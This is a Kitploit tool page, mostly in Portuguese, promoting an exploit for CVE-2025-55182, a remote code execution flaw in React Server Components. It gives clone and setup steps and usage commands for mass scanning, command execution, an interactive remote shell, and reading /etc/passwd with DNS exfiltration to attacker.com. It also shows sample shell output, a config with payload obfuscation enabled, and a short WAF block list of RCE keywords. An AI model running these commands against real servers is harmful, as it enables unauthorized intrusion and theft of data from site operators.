CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — Scanner avançado de RCE para React Server Components para CVE-2025-55182. Recursos: fingerprinting multiestágio, verificação de vulnerabilidade, exfiltração via DNS, shell interativo, ofuscação de payload e relatórios profissionais (JSON/HTML/PDF). Apenas para testes autorizados. | Kitploit

Categoria de Funcionalidade	Destaque da Implementação	Status Operacional
Fingerprinting Inteligente	Detecção de framework e versão a partir de múltiplas fontes com algoritmos de pontuação de confiança.	✅
Verificação Multiestágio	Pipeline de validação em 5 estágios projetado para eliminar sistematicamente falsos positivos.	✅
Geração de Payloads	Construtor de payloads ofuscados com suporte a exfiltração via DNS e múltiplas codificações.	✅
Shell Interativo	Execução de comandos pseudointerativa em tempo real e acesso a shell em alvos verificados.	✅
Relatórios Abrangentes	Geração automatizada de relatórios nos formatos JSON, HTML, PDF e Markdown.	✅
Exfiltração via DNS	Exfiltração de saída de comandos fora de banda por meio de tratamento seguro de consultas DNS.	✅
Motor de Concorrência	Arquitetura de varredura multithread de alto desempenho para grandes superfícies de ataque.	✅
Integração com Proxy	Suporte a proxy HTTP/HTTPS e SOCKS para tráfego de avaliação anonimizado.	✅

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

Target URL / Endpoint
       │
       ▼
[Stage 1] Framework & Header Detection
       │
       ▼
[Stage 2] Component Version Analysis
       │
       ▼
[Stage 3] Protocol Compatibility Check
       │
       ▼
[Stage 4] Non-Destructive Safe Validation Request
       │
       ▼
[Stage 5] Statistical Confidence Scoring
       │
       ▼
Vulnerability Assessment Decision

$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.

shell> whoami
www-data

shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux

shell> exit
[*] Terminating session and cleaning up temporary artifacts...

# ReactRCE-Scanner Production Configuration

timeout: 30
threads: 20
max_retries: 3
proxy: null

user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

headers:
  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  Accept-Language: "en-US,en;q=0.5"
  Accept-Encoding: "gzip, deflate, br"

output:
  format: "json"
  directory: "./reports"

logging:
  level: "INFO"
  file: "exploit.log"

exploit:
  obfuscate: true
  encoding: "base64"
  timeout: 60

scanning:
  concurrent_scans: 20
  rate_limit: 0.5
  timeout: 30

fingerprint:
  enable_deep_analysis: true
  follow_redirects: true
  analyze_assets: true

# Execute the complete automated test suite
python exploit.py --test

# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed

Tests passed: 5/5

git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt

# Run pytest unit tests
pytest tests/

# Format and lint codebase
black exploit.py
flake8 exploit.py

# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
    return 403;
}
if ($request_body ~* "constructor") {
    return 403;
}
if ($request_body ~* "child_process") {
    return 403;
}
if ($request_body ~* "execSync") {
    return 403;
}

Mais Populares

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

📑 Índice

⚠️ Aviso Legal e Nota Ética

📋 Visão Geral

🎯 Principais Capacidades

🚀 Guia de Início Rápido

Instalação

Referência Básica de Comandos

🔬 Arquitetura e Análise Aprofundada das Funcionalidades

1. Motor de Fingerprinting Inteligente

2. Fluxo de Trabalho de Verificação Multiestágio

3. Ofuscação de Payloads e Evasão

4. Shell de Comandos Interativo

5. Suíte de Relatórios Profissionais

⚙️ Referência de Configuração

🧪 Suíte de Testes Automatizados

🛡️ Remediação e Mitigação

Ações Administrativas Imediatas

Regras de WAF de Referência (Nginx / OpenResty)

📚 Referências

🤝 Contribuição e Comunidade

📜 Licença e Autor